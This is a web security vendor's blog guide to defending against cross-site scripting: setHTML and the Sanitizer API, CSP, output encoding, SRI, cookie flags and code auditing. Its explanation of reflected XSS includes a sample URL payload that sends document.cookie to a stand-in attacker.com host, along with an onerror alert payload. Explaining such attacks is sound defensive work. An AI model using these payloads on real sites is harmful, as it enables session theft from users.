opdeck / blog / implementing-xss-protection-best-practices

How to Improve XSS Protection in Firefox 148 with setHTML

September 27, 2026 / OpDeck Team
XSS ProtectionFirefox 148Web SecuritySetHTMLOWASP Top 10

Why XSS Still Haunts Modern Web Applications

Cross-site scripting has been on the OWASP Top 10 list for decades, and despite the maturity of the web platform, it remains one of the most exploited vulnerability classes in production applications. The reason is deceptively simple: web applications need to render dynamic content, and dynamic content often comes from untrusted sources — user input, third-party APIs, CMS content, URL parameters, and more.

For years, developers have reached for innerHTML as the go-to method for injecting HTML into the DOM. It works, it's familiar, and it's fast. But it's also a loaded gun pointed at your application's security posture. Every time you write something like:

document.getElementById('output').innerHTML = userInput;

...you're potentially opening a door for an attacker to inject <script> tags, event handlers, or other malicious payloads that execute in the context of your page.

Firefox 148 marks a meaningful turning point. Mozilla has shipped the standardized Sanitizer API, introducing setHTML() as a safer, native alternative to innerHTML. This isn't just a new browser feature to bookmark — it's a signal that the web platform is finally catching up to what security-conscious developers have been asking for.

This guide walks through how XSS works at a technical level, why existing mitigations fall short, how the new Sanitizer API changes the equation, and what a complete XSS protection strategy looks like in practice.


How XSS Attacks Actually Work

Before diving into solutions, it's worth being precise about the problem. XSS attacks come in three main flavors:

Reflected XSS

The attacker crafts a URL containing a malicious payload. When the victim visits the URL, the server reflects the payload back in the response, and the browser executes it. Classic example: a search page that echoes the query parameter directly into the page.

https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Stored XSS

The payload is persisted in a database — think a comment field, a profile bio, or a product review. Every user who views that content becomes a victim. This is the most dangerous variant because it's persistent and can affect thousands of users without any interaction from the attacker.

DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript. No server-side rendering is involved. The attacker manipulates the DOM environment — typically via window.location, document.referrer, or postMessage — and the JavaScript code writes that untrusted data to the DOM using sinks like innerHTML, document.write, or eval.

DOM-based XSS is particularly tricky because traditional server-side output encoding doesn't help. The payload never hits the server.


The Problem with innerHTML

innerHTML is a DOM sink — meaning it accepts a string and interprets it as HTML, including any scripts or event handlers embedded in that string. There's no built-in sanitization. If you pass it <img src=x onerror=alert(1)>, that event handler fires.

The common workaround has been to use libraries like DOMPurify:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = clean;

DOMPurify is excellent — it's well-maintained, battle-tested, and widely used. But it's still an extra dependency, and the sanitize-then-assign pattern has a subtle flaw: there's a gap between sanitization and insertion. A future refactor could accidentally remove the sanitization step, or a developer unfamiliar with the codebase might add a new innerHTML assignment without realizing the input needs to be sanitized first.

The browser has no way to enforce that sanitized content is what's being inserted.


The Sanitizer API and setHTML: A Native Solution

The Sanitizer API, now shipping in Firefox 148, introduces a fundamentally different approach. Instead of sanitizing a string and then passing it to innerHTML, you call setHTML() directly on an element, and the browser handles the sanitization internally before parsing and inserting the HTML.

// Old approach — sanitize manually, then assign
element.innerHTML = DOMPurify.sanitize(untrustedHTML);

// New approach — browser sanitizes and inserts atomically
element.setHTML(untrustedHTML);

The key difference is that setHTML() is a single atomic operation. There's no intermediate sanitized string that could be mishandled. The browser parses the HTML in a safe context and strips dangerous elements and attributes before anything touches the DOM.

Default Behavior

By default, setHTML() strips anything that could execute JavaScript:

  • <script> elements
  • Event handler attributes (onclick, onerror, onload, etc.)
  • javascript: URIs in href and src attributes
  • <iframe>, <object>, <embed>, and other potentially dangerous elements

Safe HTML — headings, paragraphs, links, images with legitimate sources, lists, tables — passes through untouched.

Custom Sanitizer Configuration

The API also accepts a Sanitizer object that lets you customize the allowed elements and attributes:

const sanitizer = new Sanitizer({
  allowElements: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  allowAttributes: {
    'a': ['href', 'title'],
    '*': ['class']
  }
});

element.setHTML(untrustedHTML, { sanitizer });

This is particularly useful for scenarios like rich text editors where you want to allow a specific subset of formatting tags but nothing else. You define the allowlist explicitly, and the browser enforces it.

You can also use blockElements and dropElements to fine-tune behavior:

const sanitizer = new Sanitizer({
  blockElements: ['div', 'span'],  // replaced with their children
  dropElements: ['style', 'link']  // removed entirely, including children
});

setHTMLUnsafe for Trusted HTML

The API also introduces setHTMLUnsafe(), which skips sanitization entirely. This is intended for cases where you're working with declarative shadow DOM or other HTML that requires script-adjacent constructs, and you've already verified the content is safe through other means. The name is intentionally alarming — it's a signal to code reviewers that this line deserves scrutiny.


Building a Comprehensive XSS Defense Strategy

The Sanitizer API is a significant addition, but it's one layer in a defense-in-depth approach. Here's what a complete strategy looks like.

Layer 1: Content Security Policy

A Content Security Policy (CSP) is a response header that tells the browser which sources are allowed to load scripts, styles, images, and other resources. A strict CSP can neutralize XSS even when sanitization fails.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';

The nonce-based approach is particularly effective. Each legitimate script tag gets a server-generated nonce that matches the CSP header. Injected scripts don't have the nonce and are blocked by the browser.

You can verify your CSP and other security headers using the Vulnerability Scanner on OpDeck, which checks for missing or misconfigured headers including Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, and more.

Layer 2: Output Encoding

For content that's rendered as text rather than HTML, use textContent instead of innerHTML. This treats the content as a plain string and never parses it as markup:

// Safe — renders as literal text, no HTML parsing
element.textContent = userInput;

// Dangerous — parses as HTML
element.innerHTML = userInput;

When server-side rendering is involved, use your framework's built-in escaping mechanisms. React, Vue, Angular, and Svelte all escape by default — the dangerous patterns are the escape hatches like dangerouslySetInnerHTML in React, v-html in Vue, or [innerHTML] in Angular. These should be treated with the same scrutiny as setHTMLUnsafe().

Layer 3: Input Validation

Sanitization at the output layer is essential, but validating input at the entry point is also worthwhile. This doesn't mean trying to detect and strip XSS payloads — that approach is fragile and easily bypassed. Instead, validate that input conforms to the expected format:

  • A username should match /^[a-zA-Z0-9_-]{3,32}$/
  • A URL should be parsed with new URL() and only http: and https: protocols should be accepted
  • A phone number should match a numeric pattern

This reduces the attack surface before data ever reaches the rendering layer.

Layer 4: Subresource Integrity

If you're loading third-party scripts — analytics, fonts, widgets — use Subresource Integrity (SRI) to ensure the loaded file hasn't been tampered with:

<script 
  src="https://cdn.example.com/library.js"
  integrity="sha384-abc123..."
  crossorigin="anonymous">
</script>

If the file has been modified (for example, through a supply chain attack), the browser refuses to execute it.

Layer 5: Secure Cookie Configuration

XSS attacks often target session cookies. Make sure cookies are configured with HttpOnly (prevents JavaScript access), Secure (HTTPS only), and SameSite=Strict or SameSite=Lax:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

This won't prevent XSS, but it limits what an attacker can do with a successful injection.


Auditing Your Application for XSS Vulnerabilities

Knowing the theory is one thing — finding actual vulnerabilities in your codebase is another. Here's a practical approach to auditing.

Static Analysis

Tools like ESLint with the eslint-plugin-no-unsanitized plugin can flag dangerous patterns in your JavaScript:

npm install --save-dev eslint-plugin-no-unsanitized

Configure it to warn on innerHTML, outerHTML, insertAdjacentHTML, document.write, and similar sinks. This catches the most obvious cases during development.

Grep for Dangerous Patterns

A quick grep across your codebase can surface risky patterns:

# Find innerHTML assignments
grep -rn "\.innerHTML\s*=" src/

# Find insertAdjacentHTML calls
grep -rn "insertAdjacentHTML" src/

# Find eval usage
grep -rn "\beval\b" src/

# Find dangerouslySetInnerHTML in React
grep -rn "dangerouslySetInnerHTML" src/

Each hit deserves a manual review to determine whether the input is trusted, properly sanitized, or a genuine vulnerability.

Dynamic Testing with Security Headers

Beyond code review, check your deployed application's security posture. The Vulnerability Scanner will analyze your security headers and flag missing protections. Pair this with the SSL Certificate Checker to ensure your HTTPS configuration is solid — XSS over HTTP is trivially exploitable through network-level injection.

Check Your DNS and Domain Configuration

Attackers sometimes exploit subdomain takeover vulnerabilities to serve malicious content from a trusted domain. If a subdomain points to a cloud service you no longer use, an attacker can claim that service and serve content from your domain. Use the DNS Lookup tool to audit your DNS records and identify dangling CNAMEs or unused subdomains that could be hijacked.


Migrating from innerHTML to setHTML

If you're working on a codebase that uses innerHTML extensively, here's a practical migration approach.

Step 1: Inventory Your Sinks

Use the grep patterns above to build a list of every innerHTML assignment in your codebase. Categorize them:

  • Trusted content: HTML generated entirely server-side or from constants — these are low risk but still worth migrating for consistency
  • Sanitized content: Passed through DOMPurify or similar — good candidates for setHTML() migration
  • Unsanitized user input: Immediate security issue — fix these first

Step 2: Replace with setHTML Where Supported

For browsers that support the Sanitizer API:

function safeSetHTML(element, html, sanitizerOptions = {}) {
  if (typeof element.setHTML === 'function') {
    const sanitizer = new Sanitizer(sanitizerOptions);
    element.setHTML(html, { sanitizer });
  } else {
    // Fallback for browsers without Sanitizer API support
    element.innerHTML = DOMPurify.sanitize(html);
  }
}

This progressive enhancement approach uses setHTML() when available and falls back to DOMPurify otherwise.

Step 3: Enforce with Linting

Add the no-unsanitized ESLint rule to your CI pipeline to prevent new innerHTML assignments from being introduced without review. Configure it to allow your safeSetHTML wrapper function as an approved pattern.


The Broader Security Picture

XSS protection doesn't exist in isolation. A vulnerability in one area can undermine protections in another. For example:

  • A misconfigured CORS policy can allow cross-origin requests that leak sensitive data exfiltrated via XSS
  • Clickjacking can be used to trick users into triggering XSS payloads
  • Mixed content (HTTP resources on an HTTPS page) can be intercepted and modified to inject scripts

Regularly auditing your application's full security posture — not just XSS-specific mitigations — is essential. This means checking security headers, SSL configuration, DNS records, and the behavior of your APIs under adversarial conditions.

The Vulnerability Scanner covers a broad range of these checks in a single pass, giving you a baseline security report you can act on immediately.


Conclusion

The arrival of setHTML() and the Sanitizer API in Firefox 148 is a genuine step forward for web security. By making safe HTML insertion a first-class browser primitive, the platform reduces the cognitive overhead on developers and closes the gap between "sanitized" and "inserted." The days of innerHTML as the default tool for dynamic content should be numbered.

But browser APIs alone don't make applications secure. XSS protection requires layered defenses: Content Security Policy, output encoding, input validation, secure cookie configuration, and regular security audits. Each layer compensates for the inevitable gaps in the others.

If you want to assess your application's current security posture, start with OpDeck's free tools. The Vulnerability Scanner will surface missing security headers and known misconfigurations, the SSL Certificate Checker will validate your HTTPS setup, and the DNS Lookup tool will help you audit your domain configuration for subdomain takeover risks. Small, systematic improvements compound into a meaningfully more secure application over time.